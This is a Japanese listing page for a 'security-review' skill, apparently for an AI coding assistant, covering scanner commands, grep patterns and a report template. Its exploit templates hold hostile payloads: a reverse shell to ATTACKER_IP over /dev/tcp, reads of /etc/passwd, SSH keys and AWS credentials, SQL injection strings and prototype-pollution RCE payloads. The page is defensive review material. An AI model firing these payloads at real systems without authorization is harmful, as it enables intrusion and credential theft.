mcpField
S
security-review

security-review

github.com/dilazセキュリティ775 回インストール38 週間前に更新
リポジトリ

security-review について

自動スキャンと手動のコード分析を組み合わせ、確認した各問題について実行可能なPoCを求めるセキュリティレビュー用スキルです。静的解析、依存関係やシークレットのスキャン、インフラ確認、深刻度分類、報告を扱います。

主な機能

  1. 01静的解析と依存関係スキャンの実行
  2. 02コード内の一般的な脆弱性分類の確認
  3. 03各指摘に対する攻撃PoCの作成
  4. 04深刻度に基づく指摘の分類
  5. 05場所・影響・修正案の記録

活用シーン

  1. 01コードのインジェクションや認可リスクをレビュー
  2. 02依存関係・シークレット・インフラ設定をスキャン
  3. 03疑わしい脆弱性が悪用可能か検証
  4. 04PoC付きのセキュリティレポートを作成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/dilaz/security-review-skill --skill security-review

インストール後、Claude Code で/security-reviewを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
README.md
.gitignore

詳細

セキュリティレビューとエクスプロイト開発

概要

自動ツールと手動分析を併用して体系的にセキュリティレビューを行い、すべての発見事項について動作する概念実証エクスプロイトを作成します。エクスプロイトが実証されるまで、脆弱性は確認されたことになりません。

鉄則

NO FINDING WITHOUT A WORKING EXPLOIT

脆弱性を疑うだけでは何の価値もありません。エクスプロイトを実証する必要があります。

ワークフロー

digraph security_review {
    "Start review" [shape=doublecircle];
    "Run automated scanners" [shape=box];
    "Manual code review" [shape=box];
    "Vulnerability found?" [shape=diamond];
    "Write exploit PoC" [shape=box];
    "Exploit works?" [shape=diamond];
    "Document with severity" [shape=box];
    "Mark as false positive" [shape=box];
    "More to review?" [shape=diamond];
    "Generate report" [shape=doublecircle];

    "Start review" -> "Run automated scanners";
    "Run automated scanners" -> "Manual code review";
    "Manual code review" -> "Vulnerability found?";
    "Vulnerability found?" -> "Write exploit PoC" [label="yes"];
    "Vulnerability found?" -> "More to review?" [label="no"];
    "Write exploit PoC" -> "Exploit works?";
    "Exploit works?" -> "Document with severity" [label="yes"];
    "Exploit works?" -> "Mark as false positive" [label="no"];
    "Document with severity" -> "More to review?";
    "Mark as false positive" -> "More to review?";
    "More to review?" -> "Vulnerability found?" [label="yes"];
    "More to review?" -> "Generate report" [label="no"];
}

フェーズ 1:自動スキャン

該当するツールはすべて実行してください。「手動レビューで十分」という理由でツールを省略しないでください。

静的解析(SAST)
# Opengrep - Multi-language SAST (preferred over semgrep)
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .

# Bandit - Python security linter
bandit -r . -f json -o bandit-report.json

# ast-grep - Custom pattern matching (write rules for project-specific issues)
ast-grep scan --rule security-rules/

# ESLint security plugin (JS/TS)
npx eslint --plugin security --rule 'security/detect-child-process: error' .

# Gosec - Go security checker
gosec -fmt=json -out=gosec-report.json ./...
依存関係スキャン(SCA)
# Trivy - Comprehensive vulnerability scanner
trivy fs --scanners vuln,secret,misconfig .

# Grype - Fast vulnerability scanner
grype dir:. -o json > grype-report.json

# pip-audit - Python dependencies
pip-audit --format=json -o pip-audit.json

# npm audit - Node.js dependencies
npm audit --json > npm-audit.json

# govulncheck - Go dependencies
govulncheck ./...
シークレット検出
# Gitleaks - Find secrets in git history
gitleaks detect --source . --report-path gitleaks-report.json

# Trufflehog - Deep secret scanning
trufflehog filesystem . --json > trufflehog-report.json
コンテナー/インフラストラクチャ
# Trivy for containers
trivy image --severity HIGH,CRITICAL <image-name>

# Checkov for IaC
checkov -d . --framework terraform,kubernetes,dockerfile

フェーズ 2:手動コードレビュー

次の脆弱性カテゴリを、重大度の高い順に確認してください。

重大:インジェクション脆弱性
種類検出するパターンGrep コマンド
コマンドインジェクションexec、spawn、system、evalgrep -rn "exec|spawn|system|eval|Function(" --include="*.ts" --include="*.js"
SQL インジェクションクエリ内の文字列連結grep -rn "query.*\+" --include="*.ts"
パストラバーサル検証なしの readFile、resolvegrep -rn "readFileSync|readFile|resolve" --include="*.ts"
テンプレートインジェクションテンプレート内のユーザー入力grep -rn "render|template" --include="*.ts"
高:認証/認可
種類検出するパターン
認証チェックの欠如ミドルウェアのないルート
ハードコードされた認証情報コード内の password、secret、key
暗号化の弱さmd5、sha1、Math.random
中:データ漏えい
種類検出するパターン
ログ内の機密データユーザーデータを含む console.log、logger
エラーメッセージの漏えいクライアントに返される完全なスタックトレース
安全でないストレージ設定ファイル内の認証情報

フェーズ 3:エクスプロイト開発

すべての脆弱性について、動作するエクスプロイトが必須です。

コマンドインジェクションのエクスプロイトテンプレート
// exploit-cmd-injection.ts
import { execSync } from 'child_process'

const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'

// Test payloads - escalate from detection to impact
const payloads = [
  // Detection: Does injection work?
  { input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },

  // Information gathering
  { input: '$(whoami)', detect: /\w+/ },
  { input: '$(id)', detect: /uid=/ },

  // File read
  { input: '$(cat /etc/passwd)', detect: 'root:' },

  // Reverse shell (for authorized pentests only)
  { input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
]

async function exploit() {
  for (const { input, detect } of payloads) {
    const response = await fetch(VULNERABLE_ENDPOINT, {
      method: 'POST',
      body: JSON.stringify({ files: [input] }),
    })
    const result = await response.text()

    if (detect && result.match(detect)) {
      console.log(`[+] Payload worked: ${input}`)
      console.log(`[+] Output: ${result}`)
    }
  }
}
パストラバーサルのエクスプロイトテンプレート
// exploit-path-traversal.ts
const traversalPayloads = [
  '../../../etc/passwd',
  '....//....//....//etc/passwd',
  '/etc/passwd',
  '/proc/self/environ',  // Leaks environment variables
  '/home/user/.ssh/id_rsa',
  '/home/user/.aws/credentials',
]

async function exploitPathTraversal(endpoint: string) {
  for (const payload of traversalPayloads) {
    const response = await fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ files: [payload] }),
    })
    const result = await response.text()

    if (result.includes('root:') || result.includes('AWS_')) {
      console.log(`[+] Path traversal successful: ${payload}`)
      return result
    }
  }
}
依存関係のエクスプロイトテンプレート
// exploit-dependency.ts
// When a vulnerable dependency is found, search for:
// 1. Public exploits: searchsploit, exploit-db, GitHub
// 2. CVE details for exploitation steps

// Example: Exploiting known prototype pollution
const payload = {
  "__proto__": { "admin": true }
}

// Example: Exploiting known RCE in library
const rcePayload = {
  "constructor": {
    "prototype": {
      "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
    }
  }
}
SQL インジェクションのエクスプロイトテンプレート
// exploit-sqli.ts
const sqlPayloads = [
  // Detection
  "' OR '1'='1",
  "1; SELECT 1--",

  // Union-based extraction
  "' UNION SELECT username,password FROM users--",

  // Time-based blind
  "'; WAITFOR DELAY '0:0:5'--",
  "' AND SLEEP(5)--",

  // Error-based extraction
  "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
]

フェーズ 4:重大度の分類

重大度基準例
重大RCE、システム全体の完全な侵害、認証の回避コマンドインジェクション、管理者アクセスを伴う SQL インジェクション
高重大なデータ侵害、権限昇格機密ファイルへのパストラバーサル、IDOR
中限定的なデータ漏えい、DoSエラーメッセージの漏えい、リソース枯渇
低軽微な情報漏えいバージョン情報の開示、ヘッダーの欠如

レポートテンプレート

## Finding: [Vulnerability Name]

**Severity:** Critical/High/Medium/Low
**Location:** `file.ts:42`
**CWE:** CWE-XXX

### Description
[What is the vulnerability and why it's dangerous]

### Vulnerable Code
```typescript
// The vulnerable code snippet
概念実証
# Command to exploit
curl -X POST http://target/api -d '{"payload": "$(id)"}'

結果:

uid=1000(user) gid=1000(user) groups=1000(user)
影響
  • 攻撃者が実行できること
  • リスクにさらされるデータ
  • ビジネスへの影響
修正方法
// Fixed code
参考資料
  • CVE-XXXX-XXXXX
  • OWASP の参考資料

## Tool Installation

```bash
# Install all security tools
pip install opengrep bandit pip-audit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
go install golang.org/x/vuln/cmd/govulncheck@latest

# Trivy
brew install trivy  # macOS
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

# Grype
brew install grype  # macOS
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh

# Gitleaks
brew install gitleaks  # macOS
# or: go install github.com/gitleaks/gitleaks/v8@latest

# ast-grep
npm install -g @ast-grep/cli

危険信号 — 中止

次のように考えていることに気づいた場合:

  • 「怪しいように見えるが、テストせずに記録しておこう」— 中止してください。まずエクスプロイトを書いてください。
  • 「手動レビューで十分だ。ツールを使うのはやりすぎだ」— 中止してください。ツールを実行してください。
  • 「エクスプロイトは明らかだ。検証する必要はない」— 中止してください。実行して実証してください。
  • 「コードレビューで確認できるから、依存関係スキャンは省略しよう」— 中止してください。SCA ツールを実行してください。

クイックリファレンス

ツール用途コマンド
opengrep複数言語対応の SASTopengrep scan --config=auto .
banditPython の SASTbandit -r .
trivy脆弱性とシークレットtrivy fs .
grype依存関係の脆弱性grype dir:.
gitleaksシークレット検出gitleaks detect --source .
govulncheckGo の依存関係govulncheck ./...
pip-auditPython の依存関係pip-audit
npm auditNode の依存関係npm audit
ast-grepカスタムパターンast-grep scan

コメント